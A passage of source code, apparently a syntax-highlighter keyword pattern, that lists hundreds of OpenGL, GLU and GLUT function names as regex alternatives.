r'glMultiTexCoord3svARB|'\n r'glMultiTexCoord4dARB|'\n r'glMultiTexCoord4dvARB|'\n r'glMultiTexCoord4fARB|'\n r'glMultiTexCoord4fvARB|'\n r'glMultiTexCoord4iARB|'\n r'glMultiTexCoord4ivARB|'\n r'glMultiTexCoord4sARB|'\n r'glMultiTexCoord4svARB|'\n r'glBlendColorEXT|'\n r'glPolygonOffsetEXT|'\n r'glTexImage3DEXT|'\n r'glTexSubImage3DEXT|'\n r'glCopyTexSubImage3DEXT|'\n r'glGenTexturesEXT|'\n r'glDeleteTexturesEXT|'\n r'glBindTextureEXT|'\n r'glPrioritizeTexturesEXT|'\n r'glAreTexturesResidentEXT|'\n r'glIsTextureEXT|'\n r'glVertexPointerEXT|'\n r'glNormalPointerEXT|'\n r'glColorPointerEXT|'\n r'glIndexPointerEXT|'\n r'glTexCoordPointerEXT|'\n r'glEdgeFlagPointerEXT|'\n r'glGetPointervEXT|'\n r'glArrayElementEXT|'\n r'glDrawArraysEXT|'\n r'glBlendEquationEXT|'\n r'glPointParameterfEXT|'\n r'glPointParameterfvEXT|'\n r'glPointParameterfSGIS|'\n r'glPointParameterfvSGIS|'\n r'glColorTableEXT|'\n r'glColorSubTableEXT|'\n r'glGetColorTableEXT|'\n r'glGetColorTableParameterfvEXT|'\n r'glGetColorTableParameterivEXT|'\n r'glLockArraysEXT|'\n r'glUnlockArraysEXT|'\n r'glWindowPos2iMESA|'\n r'glWindowPos2sMESA|'\n r'glWindowPos2fMESA|'\n r'glWindowPos2dMESA|'\n r'glWindowPos2ivMESA|'\n r'glWindowPos2svMESA|'\n r'glWindowPos2fvMESA|'\n r'glWindowPos2dvMESA|'\n r'glWindowPos3iMESA|'\n r'glWindowPos3sMESA|'\n r'glWindowPos3fMESA|'\n r'glWindowPos3dMESA|'\n r'glWindowPos3ivMESA|'\n r'glWindowPos3svMESA|'\n r'glWindowPos3fvMESA|'\n r'glWindowPos3dvMESA|'\n r'glWindowPos4iMESA|'\n r'glWindowPos4sMESA|'\n r'glWindowPos4fMESA|'\n r'glWindowPos4dMESA|'\n r'glWindowPos4ivMESA|'\n r'glWindowPos4svMESA|'\n r'glWindowPos4fvMESA|'\n r'glWindowPos4dvMESA|'\n r'glResizeBuffersMESA|'\n r'glEnableTraceMESA|'\n r'glDisableTraceMESA|'\n r'glNewTraceMESA|'\n r'glEndTraceMESA|'\n r'glTraceAssertAttribMESA|'\n r'glTraceCommentMESA|'\n r'glTraceTextureMESA|'\n r'glTraceListMESA|'\n r'glTracePointerMESA|'\n r'glTracePointerRangeMESA|'\n r'glGetPerfMonitorGroupsAMD|'\n r'glGetPerfMonitorCountersAMD|'\n r'glGetPerfMonitorGroupStringAMD|'\n r'glGetPerfMonitorCounterStringAMD|'\n r'glGetPerfMonitorCounterInfoAMD|'\n r'glGenPerfMonitorsAMD|'\n r'glDeletePerfMonitorsAMD|'\n r'glSelectPerfMonitorCountersAMD|'\n r'glBeginPerfMonitorAMD|'\n r'glEndPerfMonitorAMD|'\n r'glGetPerfMonitorCounterDataAMD|'\n r'glVertexAttrib1sARB|'\n r'glVertexAttrib1fARB|'\n r'glVertexAttrib1dARB|'\n r'glVertexAttrib2sARB|'\n r'glVertexAttrib2fARB|'\n r'glVertexAttrib2dARB|'\n r'glVertexAttrib3sARB|'\n r'glVertexAttrib3fARB|'\n r'glVertexAttrib3dARB|'\n r'glVertexAttrib4sARB|'\n r'glVertexAttrib4fARB|'\n r'glVertexAttrib4dARB|'\n r'glVertexAttrib4NubARB|'\n r'glVertexAttrib1svARB|'\n r'glVertexAttrib1fvARB|'\n r'glVertexAttrib1dvARB|'\n r'glVertexAttrib2svARB|'\n r'glVertexAttrib2fvARB|'\n r'glVertexAttrib2dvARB|'\n r'glVertexAttrib3svARB|'\n r'glVertexAttrib3fvARB|'\n r'glVertexAttrib3dvARB|'\n r'glVertexAttrib4bvARB|'\n r'glVertexAttrib4svARB|'\n r'glVertexAttrib4ivARB|'\n r'glVertexAttrib4ubvARB|'\n r'glVertexAttrib4usvARB|'\n r'glVertexAttrib4uivARB|'\n r'glVertexAttrib4fvARB|'\n r'glVertexAttrib4dvARB|'\n r'glVertexAttrib4NbvARB|'\n r'glVertexAttrib4NsvARB|'\n r'glVertexAttrib4NivARB|'\n r'glVertexAttrib4NubvARB|'\n r'glVertexAttrib4NusvARB|'\n r'glVertexAttrib4NuivARB|'\n r'glVertexAttribPointerARB|'\n r'glEnableVertexAttribArrayARB|'\n r'glDisableVertexAttribArrayARB|'\n r'glProgramStringARB|'\n r'glBindProgramARB|'\n r'glDeleteProgramsARB|'\n r'glGenProgramsARB|'\n r'glProgramEnvParameter4fARB|'\n r'glProgramEnvParameter4dARB|'\n r'glProgramEnvParameter4fvARB|'\n r'glProgramEnvParameter4dvARB|'\n r'glProgramLocalParameter4fARB|'\n r'glProgramLocalParameter4dARB|'\n r'glProgramLocalParameter4fvARB|'\n r'glProgramLocalParameter4dvARB|'\n r'glGetProgramEnvParameterfvARB|'\n r'glGetProgramEnvParameterdvARB|'\n r'glGetProgramLocalParameterfvARB|'\n r'glGetProgramLocalParameterdvARB|'\n r'glGetProgramivARB|'\n r'glGetProgramStringARB|'\n r'glGetVertexAttribdvARB|'\n r'glGetVertexAttribfvARB|'\n r'glGetVertexAttribivARB|'\n r'glGetVertexAttribPointervARB|'\n r'glIsProgramARB|'\n r'glLoadTransposeMatrixfARB|'\n r'glLoadTransposeMatrixdARB|'\n r'glMultTransposeMatrixfARB|'\n r'glMultTransposeMatrixdARB|'\n r'glCompressedTexImage3DARB|'\n r'glCompressedTexImage2DARB|'\n r'glCompressedTexImage1DARB|'\n r'glCompressedTexSubImage3DARB|'\n r'glCompressedTexSubImage2DARB|'\n r'glCompressedTexSubImage1DARB|'\n r'glGetCompressedTexImageARB|'\n r'glWeightbvARB|'\n r'glWeightsvARB|'\n r'glWeightivARB|'\n r'glWeightfvARB|'\n r'glWeightdvARB|'\n r'glWeightubvARB|'\n r'glWeightusvARB|'\n r'glWeightuivARB|'\n r'glWeightPointerARB|'\n r'glVertexBlendARB|'\n r'glWindowPos2dARB|'\n r'glWindowPos2fARB|'\n r'glWindowPos2iARB|'\n r'glWindowPos2sARB|'\n r'glWindowPos2ivARB|'\n r'glWindowPos2svARB|'\n r'glWindowPos2fvARB|'\n r'glWindowPos2dvARB|'\n r'glWindowPos3iARB|'\n r'glWindowPos3sARB|'\n r'glWindowPos3fARB|'\n r'glWindowPos3dARB|'\n r'glWindowPos3ivARB|'\n r'glWindowPos3svARB|'\n r'glWindowPos3fvARB|'\n r'glWindowPos3dvARB|'\n r'glBindBufferARB|'\n r'glDeleteBuffersARB|'\n r'glGenBuffersARB|'\n r'glIsBufferARB|'\n r'glBufferDataARB|'\n r'glBufferSubDataARB|'\n r'glGetBufferSubDataARB|'\n r'glMapBufferARB|'\n r'glUnmapBufferARB|'\n r'glGetBufferParameterivARB|'\n r'glGetBufferPointervARB|'\n r'glCurrentPaletteMatrixARB|'\n r'glMatrixIndexubvARB|'\n r'glMatrixIndexusvARB|'\n r'glMatrixIndexuivARB|'\n r'glMatrixIndexPointerARB|'\n r'glSampleCoverageARB|'\n r'glGenQueriesARB|'\n r'glDeleteQueriesARB|'\n r'glIsQueryARB|'\n r'glBeginQueryARB|'\n r'glEndQueryARB|'\n r'glGetQueryivARB|'\n r'glGetQueryObjectivARB|'\n r'glGetQueryObjectuivARB|'\n r'glDeleteObjectARB|'\n r'glGetHandleARB|'\n r'glDetachObjectARB|'\n r'glCreateShaderObjectARB|'\n r'glShaderSourceARB|'\n r'glCompileShaderARB|'\n r'glCreateProgramObjectARB|'\n r'glAttachObjectARB|'\n r'glLinkProgramARB|'\n r'glUseProgramObjectARB|'\n r'glValidateProgramARB|'\n r'glUniform1fARB|'\n r'glUniform2fARB|'\n r'glUniform3fARB|'\n r'glUniform4fARB|'\n r'glUniform1iARB|'\n r'glUniform2iARB|'\n r'glUniform3iARB|'\n r'glUniform4iARB|'\n r'glUniform1fvARB|'\n r'glUniform2fvARB|'\n r'glUniform3fvARB|'\n r'glUniform4fvARB|'\n r'glUniform1ivARB|'\n r'glUniform2ivARB|'\n r'glUniform3ivARB|'\n r'glUniform4ivARB|'\n r'glUniformMatrix2fvARB|'\n r'glUniformMatrix3fvARB|'\n r'glUniformMatrix4fvARB|'\n r'glGetObjectParameterfvARB|'\n r'glGetObjectParameterivARB|'\n r'glGetInfoLogARB|'\n r'glGetAttachedObjectsARB|'\n r'glGetUniformLocationARB|'\n r'glGetActiveUniformARB|'\n r'glGetUniformfvARB|'\n r'glGetUniformivARB|'\n r'glGetShaderSourceARB|'\n r'glBindAttribLocationARB|'\n r'glGetActiveAttribARB|'\n r'glGetAttribLocationARB|'\n r'glGetTextureHandleARB|'\n r'glGetTextureSamplerHandleARB|'\n r'glMakeTextureHandleResidentARB|'\n r'glMakeTextureHandleNonResidentARB|'\n r'glGetImageHandleARB|'\n r'glMakeImageHandleResidentARB|'\n r'glMakeImageHandleNonResidentARB|'\n r'glUniformHandleui64ARB|'\n r'glUniformHandleui64vARB|'\n r'glProgramUniformHandleui64ARB|'\n r'glProgramUniformHandleui64vARB|'\n r'glIsTextureHandleResidentARB|'\n r'glIsImageHandleResidentARB|'\n r'glVertexAttribL1ui64ARB|'\n r'glVertexAttribL1ui64vARB|'\n r'glGetVertexAttribL1ui64vARB|'\n r'glDispatchComputeGroupSizeARB|'\n r'glMultiDrawArraysIndirectCountARB|'\n r'glMultiDrawElementsIndirectCountARB|'\n r'glTexturePageCommitmentARB|'\n r'glTexturePageCommitmentEXT|'\n r'glBufferPageCommitmentARB|'\n r'glNamedBufferPageCommitmentARB|'\n r'glNamedBufferPageCommitmentEXT|'\n r'glBlendBarrierKHR|'\n r'glClearIndex|'\n r'glClearColor|'\n r'glClear|'\n r'glIndexMask|'\n r'glColorMask|'\n r'glAlphaFunc|'\n r'glBlendFunc|'\n r'glLogicOp|'\n r'glCullFace|'\n r'glFrontFace|'\n r'glPointSize|'\n r'glLineWidth|'\n r'glLineStipple|'\n r'glPolygonMode|'\n r'glPolygonOffset|'\n r'glPolygonStipple|'\n r'glGetPolygonStipple|'\n r'glEdgeFlag|'\n r'glEdgeFlagv|'\n r'glScissor|'\n r'glClipPlane|'\n r'glGetClipPlane|'\n r'glDrawBuffer|'\n r'glReadBuffer|'\n r'glEnable|'\n r'glDisable|'\n r'glIsEnabled|'\n r'glEnableClientState|'\n r'glDisableClientState|'\n r'glGetBooleanv|'\n r'glGetDoublev|'\n r'glGetFloatv|'\n r'glGetIntegerv|'\n r'glPushAttrib|'\n r'glPopAttrib|'\n r'glPushClientAttrib|'\n r'glPopClientAttrib|'\n r'glRenderMode|'\n r'glGetError|'\n r'glGetString|'\n r'glFinish|'\n r'glFlush|'\n r'glHint|'\n r'glClearDepth|'\n r'glDepthFunc|'\n r'glDepthMask|'\n r'glDepthRange|'\n r'glClearAccum|'\n r'glAccum|'\n r'glMatrixMode|'\n r'glOrtho|'\n r'glFrustum|'\n r'glViewport|'\n r'glPushMatrix|'\n r'glPopMatrix|'\n r'glLoadIdentity|'\n r'glLoadMatrixd|'\n r'glLoadMatrixf|'\n r'glMultMatrixd|'\n r'glMultMatrixf|'\n r'glRotated|'\n r'gle|'\n r'glRotatef|'\n r'gle|'\n r'glScaled|'\n r'glScalef|'\n r'glTranslated|'\n r'glTranslatef|'\n r'glIsList|'\n r'glDeleteLists|'\n r'glGenLists|'\n r'glNewList|'\n r'glEndList|'\n r'glCallList|'\n r'glCallLists|'\n r'glListBase|'\n r'glBegin|'\n r'glEnd|'\n r'glVertex2d|'\n r'glVertex2f|'\n r'glVertex2i|'\n r'glVertex2s|'\n r'glVertex3d|'\n r'glVertex3f|'\n r'glVertex3i|'\n r'glVertex3s|'\n r'glVertex4d|'\n r'glVertex4f|'\n r'glVertex4i|'\n r'glVertex4s|'\n r'glVertex2dv|'\n r'glVertex2fv|'\n r'glVertex2iv|'\n r'glVertex2sv|'\n r'glVertex3dv|'\n r'glVertex3fv|'\n r'glVertex3iv|'\n r'glVertex3sv|'\n r'glVertex4dv|'\n r'glVertex4fv|'\n r'glVertex4iv|'\n r'glVertex4sv|'\n r'glNormal3b|'\n r'glNormal3d|'\n r'glNormal3f|'\n r'glNormal3i|'\n r'glNormal3s|'\n r'glNormal3bv|'\n r'glNormal3dv|'\n r'glNormal3fv|'\n r'glNormal3iv|'\n r'glNormal3sv|'\n r'glIndexd|'\n r'glIndexf|'\n r'glIndexi|'\n r'glIndexs|'\n r'glIndexub|'\n r'glIndexdv|'\n r'glIndexfv|'\n r'glIndexiv|'\n r'glIndexsv|'\n r'glIndexubv|'\n r'glColor3b|'\n r'glColor3d|'\n r'glColor3f|'\n r'glColor3i|'\n r'glColor3s|'\n r'glColor3ub|'\n r'glColor3ui|'\n r'glColor3us|'\n r'glColor4b|'\n r'glColor4d|'\n r'glColor4f|'\n r'glColor4i|'\n r'glColor4s|'\n r'glColor4ub|'\n r'glColor4ui|'\n r'glColor4us|'\n r'glColor3bv|'\n r'glColor3dv|'\n r'glColor3fv|'\n r'glColor3iv|'\n r'glColor3sv|'\n r'glColor3ubv|'\n r'glColor3uiv|'\n r'glColor3usv|'\n r'glColor4bv|'\n r'glColor4dv|'\n r'glColor4fv|'\n r'glColor4iv|'\n r'glColor4sv|'\n r'glColor4ubv|'\n r'glColor4uiv|'\n r'glColor4usv|'\n r'glTexCoord1d|'\n r'glTexCoord1f|'\n r'glTexCoord1i|'\n r'glTexCoord1s|'\n r'glTexCoord2d|'\n r'glTexCoord2f|'\n r'glTexCoord2i|'\n r'glTexCoord2s|'\n r'glTexCoord3d|'\n r'glTexCoord3f|'\n r'glTexCoord3i|'\n r'glTexCoord3s|'\n r'glTexCoord4d|'\n r'glTexCoord4f|'\n r'glTexCoord4i|'\n r'glTexCoord4s|'\n r'glTexCoord1dv|'\n r'glTexCoord1fv|'\n r'glTexCoord1iv|'\n r'glTexCoord1sv|'\n r'glTexCoord2dv|'\n r'glTexCoord2fv|'\n r'glTexCoord2iv|'\n r'glTexCoord2sv|'\n r'glTexCoord3dv|'\n r'glTexCoord3fv|'\n r'glTexCoord3iv|'\n r'glTexCoord3sv|'\n r'glTexCoord4dv|'\n r'glTexCoord4fv|'\n r'glTexCoord4iv|'\n r'glTexCoord4sv|'\n r'glRasterPos2d|'\n r'glRasterPos2f|'\n r'glRasterPos2i|'\n r'glRasterPos2s|'\n r'glRasterPos3d|'\n r'glRasterPos3f|'\n r'glRasterPos3i|'\n r'glRasterPos3s|'\n r'glRasterPos4d|'\n r'glRasterPos4f|'\n r'glRasterPos4i|'\n r'glRasterPos4s|'\n r'glRasterPos2dv|'\n r'glRasterPos2fv|'\n r'glRasterPos2iv|'\n r'glRasterPos2sv|'\n r'glRasterPos3dv|'\n r'glRasterPos3fv|'\n r'glRasterPos3iv|'\n r'glRasterPos3sv|'\n r'glRasterPos4dv|'\n r'glRasterPos4fv|'\n r'glRasterPos4iv|'\n r'glRasterPos4sv|'\n r'glRectd|'\n r'glRectf|'\n r'glRecti|'\n r'glRects|'\n r'glRectdv|'\n r'glRectfv|'\n r'glRectiv|'\n r'glRectsv|'\n r'glVertexPointer|'\n r'glNormalPointer|'\n r'glColorPointer|'\n r'glIndexPointer|'\n r'glTexCoordPointer|'\n r'glEdgeFlagPointer|'\n r'glGetPointerv|'\n r'glArrayElement|'\n r'glDrawArrays|'\n r'glDrawElements|'\n r'glInterleavedArrays|'\n r'glShadeModel|'\n r'glLightf|'\n r'glLighti|'\n r'glLightfv|'\n r'glLightiv|'\n r'glGetLightfv|'\n r'glGetLightiv|'\n r'glLightModelf|'\n r'glLightModeli|'\n r'glLightModelfv|'\n r'glLightModeliv|'\n r'glMaterialf|'\n r'glMateriali|'\n r'glMaterialfv|'\n r'glMaterialiv|'\n r'glGetMaterialfv|'\n r'glGetMaterialiv|'\n r'glColorMaterial|'\n r'glPixelZoom|'\n r'glPixelStoref|'\n r'glPixelStorei|'\n r'glPixelTransferf|'\n r'glPixelTransferi|'\n r'glPixelMapfv|'\n r'glPixelMapuiv|'\n r'glPixelMapusv|'\n r'glGetPixelMapfv|'\n r'glGetPixelMapuiv|'\n r'glGetPixelMapusv|'\n r'glBitmap|'\n r'glReadPixels|'\n r'glDrawPixels|'\n r'glCopyPixels|'\n r'glStencilFunc|'\n r'glStencilMask|'\n r'glStencilOp|'\n r'glClearStencil|'\n r'glTexGend|'\n r'glTexGenf|'\n r'glTexGeni|'\n r'glTexGendv|'\n r'glTexGenfv|'\n r'glTexGeniv|'\n r'glGetTexGendv|'\n r'glGetTexGenfv|'\n r'glGetTexGeniv|'\n r'glTexEnvf|'\n r'glTexEnvi|'\n r'glTexEnvfv|'\n r'glTexEnviv|'\n r'glGetTexEnvfv|'\n r'glGetTexEnviv|'\n r'glTexParameterf|'\n r'glTexParameteri|'\n r'glTexParameterfv|'\n r'glTexParameteriv|'\n r'glGetTexParameterfv|'\n r'glGetTexParameteriv|'\n r'glGetTexLevelParameterfv|'\n r'glGetTexLevelParameteriv|'\n r'glTexImage1D|'\n r'glTexImage2D|'\n r'glGetTexImage|'\n r'glGenTextures|'\n r'glDeleteTextures|'\n r'glBindTexture|'\n r'glPrioritizeTextures|'\n r'glAreTexturesResident|'\n r'glIsTexture|'\n r'glTexSubImage1D|'\n r'glTexSubImage2D|'\n r'glCopyTexImage1D|'\n r'glCopyTexImage2D|'\n r'glCopyTexSubImage1D|'\n r'glCopyTexSubImage2D|'\n r'glMap1d|'\n r'glMap1f|'\n r'glMap2d|'\n r'glMap2f|'\n r'glGetMapdv|'\n r'glGetMapfv|'\n r'glGetMapiv|'\n r'glEvalCoord1d|'\n r'glEvalCoord1f|'\n r'glEvalCoord1dv|'\n r'glEvalCoord1fv|'\n r'glEvalCoord2d|'\n r'glEvalCoord2f|'\n r'glEvalCoord2dv|'\n r'glEvalCoord2fv|'\n r'glMapGrid1d|'\n r'glMapGrid1f|'\n r'glMapGrid2d|'\n r'glMapGrid2f|'\n r'glEvalPoint1|'\n r'glEvalPoint2|'\n r'glEvalMesh1|'\n r'glEvalMesh2|'\n r'glFogf|'\n r'glFogi|'\n r'glFogfv|'\n r'glFogiv|'\n r'glFeedbackBuffer|'\n r'glPassThrough|'\n r'glSelectBuffer|'\n r'glInitNames|'\n r'glLoadName|'\n r'glPushName|'\n r'glPopName|'\n r'glDrawRangeElements|'\n r'glTexImage3D|'\n r'glTexSubImage3D|'\n r'glCopyTexSubImage3D|'\n r'glColorTable|'\n r'glColorSubTable|'\n r'glColorTableParameteriv|'\n r'glColorTableParameterfv|'\n r'glCopyColorSubTable|'\n r'glCopyColorTable|'\n r'glGetColorTable|'\n r'glGetColorTableParameterfv|'\n r'glGetColorTableParameteriv|'\n r'glBlendEquation|'\n r'glBlendColor|'\n r'glHistogram|'\n r'glResetHistogram|'\n r'glGetHistogram|'\n r'glGetHistogramParameterfv|'\n r'glGetHistogramParameteriv|'\n r'glMinmax|'\n r'glResetMinmax|'\n r'glGetMinmax|'\n r'glGetMinmaxParameterfv|'\n r'glGetMinmaxParameteriv|'\n r'glConvolutionFilter1D|'\n r'glConvolutionFilter2D|'\n r'glConvolutionParameterf|'\n r'glConvolutionParameterfv|'\n r'glConvolutionParameteri|'\n r'glConvolutionParameteriv|'\n r'glCopyConvolutionFilter1D|'\n r'glCopyConvolutionFilter2D|'\n r'glGetConvolutionFilter|'\n r'glGetConvolutionParameterfv|'\n r'glGetConvolutionParameteriv|'\n r'glSeparableFilter2D|'\n r'glGetSeparableFilter|'\n r'glActiveTexture|'\n r'glClientActiveTexture|'\n r'glCompressedTexImage1D|'\n r'glCompressedTexImage2D|'\n r'glCompressedTexImage3D|'\n r'glCompressedTexSubImage1D|'\n r'glCompressedTexSubImage2D|'\n r'glCompressedTexSubImage3D|'\n r'glGetCompressedTexImage|'\n r'glMultiTexCoord1d|'\n r'glMultiTexCoord1dv|'\n r'glMultiTexCoord1f|'\n r'glMultiTexCoord1fv|'\n r'glMultiTexCoord1i|'\n r'glMultiTexCoord1iv|'\n r'glMultiTexCoord1s|'\n r'glMultiTexCoord1sv|'\n r'glMultiTexCoord2d|'\n r'glMultiTexCoord2dv|'\n r'glMultiTexCoord2f|'\n r'glMultiTexCoord2fv|'\n r'glMultiTexCoord2i|'\n r'glMultiTexCoord2iv|'\n r'glMultiTexCoord2s|'\n r'glMultiTexCoord2sv|'\n r'glMultiTexCoord3d|'\n r'glMultiTexCoord3dv|'\n r'glMultiTexCoord3f|'\n r'glMultiTexCoord3fv|'\n r'glMultiTexCoord3i|'\n r'glMultiTexCoord3iv|'\n r'glMultiTexCoord3s|'\n r'glMultiTexCoord3sv|'\n r'glMultiTexCoord4d|'\n r'glMultiTexCoord4dv|'\n r'glMultiTexCoord4f|'\n r'glMultiTexCoord4fv|'\n r'glMultiTexCoord4i|'\n r'glMultiTexCoord4iv|'\n r'glMultiTexCoord4s|'\n r'glMultiTexCoord4sv|'\n r'glLoadTransposeMatrixd|'\n r'glLoadTransposeMatrixf|'\n r'glMultTransposeMatrixd|'\n r'glMultTransposeMatrixf|'\n r'glSampleCoverage|'\n r'gluBeginCurve|'\n r'gluBeginPolygon|'\n r'gluBeginSurface|'\n r'gluBeginTrim|'\n r'gluBuild1DMipmapLevels|'\n r'gluBuild1DMipmaps|'\n r'gluBuild2DMipmapLevels|'\n r'gluBuild2DMipmaps|'\n r'gluBuild3DMipmapLevels|'\n r'gluBuild3DMipmaps|'\n r'gluCheckExtension|'\n r'gluCylinder|'\n r'gluDeleteNurbsRenderer|'\n r'gluDeleteQuadric|'\n r'gluDeleteTess|'\n r'gluDisk|'\n r'gluEndCurve|'\n r'gluEndPolygon|'\n r'gluEndSurface|'\n r'gluEndTrim|'\n r'gluGetNurbsProperty|'\n r'gluGetTessProperty|'\n r'gluLoadSamplingMatrices|'\n r'gluLookAt|'\n r'gluNewNurbsRenderer|'\n r'gluNewQuadric|'\n r'gluNewTess|'\n r'gluNextContour|'\n r'gluNurbsCallback|'\n r'gluNurbsCallbackData|'\n r'gluNurbsCallbackDataEXT|'\n r'gluNurbsCurve|'\n r'gluNurbsProperty|'\n r'gluNurbsSurface|'\n r'gluOrtho2D|'\n r'gluPartialDisk|'\n r'gluPerspective|'\n r'gluPickMatrix|'\n r'gluProject|'\n r'gluPwlCurve|'\n r'gluQuadricCallback|'\n r'gluQuadricDrawStyle|'\n r'gluQuadricNormals|'\n r'gluQuadricOrientation|'\n r'gluQuadricTexture|'\n r'gluScaleImage|'\n r'gluSphere|'\n r'gluTessBeginContour|'\n r'gluTessBeginPolygon|'\n r'gluTessCallback|'\n r'gluTessEndContour|'\n r'gluTessEndPolygon|'\n r'gluTessNormal|'\n r'gluTessProperty|'\n r'gluTessVertex|'\n r'gluUnProject|'\n r'gluUnProject4|'\n r'glutAddMenuEntry|'\n r'glutAddSubMenu|'\n r'glutAttachMenu|'\n r'glutBitmapCharacter|'\n r'glutBitmapHeight|'\n r'glutBitmapLength|'\n r'glutBitmapString|'\n r'glutBitmapWidth|'\n r'glutButtonBoxFunc|'\n r'glutChangeToMenuEntry|'\n r'glutChangeToSubMenu|'\n r'glutCloseFunc|'\n r'glutCopyColormap|'\n r'glutCreateMenu|'\n r'glutCreateSubWindow|'\n r'glutCreateWindow|'\n r'glutDestroyMenu|'\n r'glutDestroyWindow|'\n r'glutDetachMenu|'\n r'glutDeviceGet|'\n r'glutDialsFunc|'\n r'glutDisplayFunc|'\n r'glutEnterGameMode|'\n r'glutEntryFunc|'\n r'glutEstablishOverlay|'\n r'glutExit|'\n r'glutExtensionSupported|'\n r'glutForceJoystickFunc|'\n r'glutFullScreen|'\n r'glutFullScreenToggle|'\n r'glutGameModeGet|'\n r'glutGameModeString|'\n r'glutGet|'\n r'glutGetColor|'\n r'glutGetMenu|'\n r'glutGetMenuData|'\n r'glutGetModeValues|'\n r'glutGetModifiers|'\n r'glutGetProcAddress|'\n r'glutGetWindow|'\n r'glutGetWindowData|'\n r'glutHideOverlay|'\n r'glutHideWindow|'\n r'glutIconifyWindow|'\n r'glutIdleFunc|'\n r'glutIgnoreKeyRepeat|'\n r'glutInit|'\n r'glutInitContextFlags|'\n r'glutInitContextProfile|'\n r'glutInitContextVersion|'\n r'glutInitDisplayMode|'\n r'glutInitDisplayString|'\n r'glutInitErrorFunc|'\n r'glutInitWarningFunc|'\n r'glutInitWindowPosition|'\n r'glutInitWindowSize|'\n r'glutJoystickFunc|'\n r'glutKeyboardFunc|'\n r'glutKeyboardUpFunc|'\n r'glutLayerGet|'\n r'glutLeaveFullScreen|'\n r'glutLeaveGameMode|'\n r'glutLeaveMainLoop|'\n r'glutMainLoop|'\n r'glutMainLoopEvent|'\n r'glutMenuDestroyFunc|'\n r'glutMenuStateFunc|'\n r'glutMenuStatusFunc|'\n r'glutMotionFunc|'\n r'glutMouseFunc|'\n r'glutMouseWheelFunc|'\n r'glutMultiButtonFunc|'\n r'glutMultiEntryFunc|'\n r'glutMultiMotionFunc|'\n r'glutMultiPassiveFunc|'\n r'glutOverlayDisplayFunc|'\n r'glutPassiveMotionFunc|'\n r'glutPopWindow|'\n r'glutPositionWindow|'\n r'glutPostOverlayRedisplay|'\n r'glutPostRedisplay|'\n r'glutPostWindowOverlayRedisplay|'\n r'glutPostWindowRedisplay|'\n r'glutPushWindow|'\n r'glutRemoveMenuItem|'\n r'glutRemoveOverlay|'\n r'glutReportErrors|'\n r'glutReshapeFunc|'\n r'glutReshapeWindow|'\n r'glutSetColor|'\n r'glutSetCursor|'\n r'glutSetIconTitle|'\n r'glutSetKeyRepeat|'\n r'glutSetMenu|'\n r'glutSetMenuData|'\n r'glutSetOption|'\n r'glutSetWindow|'\n r'glutSetWindowData|'\n r'glutSetWindowTitle|'\n r'glutSetupVideoResizing|'\n r'glutShowOverlay|'\n r'glutShowWindow|'\n r'glutSolidCone|'\n r'glutSolidCube|'\n r'glutSolidCylinder|'\n r'glutSolidDodecahedron|'\n r'glutSolidIcosahedron|'\n r'glutSolidOctahedron|'\n r'glutSolidRhombicDodecahedron|'\n r'glutSolidSierpinskiSponge|'\n r'glutSolidSphere|'\n r'glutSolidTeapot|'\n r'glutSolidTetrahedron|'\n r'glutSolidTorus|'\n r'glutSpaceballButtonFunc|'\n r'glutSpaceballMotionFunc|'\n r'glutSpaceballRotateFunc|'\n r'glutSpecialFunc|'\n r'glutSpecialUpFunc|'\n r'glutStopVideoResizing|'\n r'glutStrokeCharacter|'\n r'glutStrokeHeight|'\n r'glutStrokeLength|'\n r'glutStrokeString|'\n r'glutStrokeWidth|'\n r'glutSwapBuffers|'\n r'glutTabletButtonFunc|'\n r'glutTabletMotionFunc|'\n r'glutTimerFunc|'\n r'glutUseLayer|'\n r'glutVideoPan|'\n r'glutVideoResize|'\n r'glutVideoResizeGet|'\n r'glutVisibilityFunc|'\n r'glutWMCloseFunc|'\n r'glutWarpPointer|'\n r'glutWindowStatusFunc|'\n r'glutWireCone|'\n r'glutWireCube|'\n r'glutWireCylinder|'\n r'glutWireDodecahedron|'\n r'glutWireIcosahedron|'\n r'glutWireOctahedron|'\n r'glutWireRhombicDodecahedron|'\n r'glutWireSierpinskiSponge|'\n r'glutWireSphere|'\n r'glutWireTeapot|'\n r'glutWireTetrahedron|'\n r'glutWireTorus|'\n r'glAttachShader|'\n r'glBindAttribLocation|'\n r'glBindBuffer|'\n r'glBlendEquationSeparate|'\n r'glBlendFuncSeparate|'\n r'glBufferData|'\n r'glBufferSubData|'\n r'glClearDepthf|'\n r'glCreateProgram|'\n r'glCreateShader|'\n r'glDeleteBuffers|'\n r'glDeleteProgram|'\n r'glDeleteShader|'\n r'glDetachShader|'\n r'glDepthRangef|'\n r'glDisableVertexAttribArray|'\n r'glEnableVertexAttribArray|'\n r'glGetActiveAttrib|'\n r'glGetActiveUniform|'\n r'glGetAttachedShaders|'\n r'glGetAttribLocation|'\n r'glGetBufferParameteriv|'\n r'glGenBuffers|'\n r'glGetProgramiv|'\n r'glGetProgramInfoLog|'\n r'glGetUniformfv|'\n r'glGetUniformiv|'\n r'glGetUniformLocation|'\n r'glGetVertexAttribfv|'\n r'glGetVertexAttribiv|'\n r'glGetVertexAttribPointerv|'\n r'glIsBuffer|'\n r'glIsProgram|'\n r'glIsShader|'\n r'glLinkProgram|'\n r'glStencilFuncSeparate|'\n r'glStencilMaskSeparate|'\n r'glStencilOpSeparate|'\n r'glUniform1i|'\n r'glUniform2i|'\n r'glUniform3i|'\n r'glUniform4i|'\n r'glUniform1f|'\n r'glUniform2f|'\n r'glUniform3f|'\n r'glUniform4f|'\n r'glUniform1iv|'\n r'glUniform2iv|'\n r'glUniform3iv|'\n r'glUniform4iv|'\n r'glUniform1fv|'\n r'glUniform2fv|'\n r'glUniform3fv|'\n r'glUniform4fv|'\n r'glUniformMatrix2fv|'\n r'glUniformMatrix3fv|'\n r'glUniformMatrix4fv|'\n r'glUseProgram|'\n r'glValidateProgram|'\n r'glVertexAttrib1f|'\n r'glVertexAttrib2f|'\n r'glVertexAttrib3f|'\n r'glVertexAttrib4f|'\n r'glVertexAttrib1fv|'\n r'glVertexAttrib2fv|'\n r'glVertexAttrib3fv|'\n r'glVertexAttrib4fv|'\n r'glVertexAttribPointer|'\n r'glIsRenderbufferOES|'\n r'glBindRenderbufferOES|'\n r'glDeleteRenderbuffersOES|'\n r'glGenRenderbuffersOES|'\n r'glRenderbufferStorageOES|'\n r'glGetRenderbufferParameterivOES|'\n r'glGetRenderbufferStorageFormatsivOES|'\n r'glIsFramebufferOES|'\n r'glBindFramebufferOES|'\n r'glDeleteFramebuffersOES|'\n r'glGenFramebuffersOES|'\n 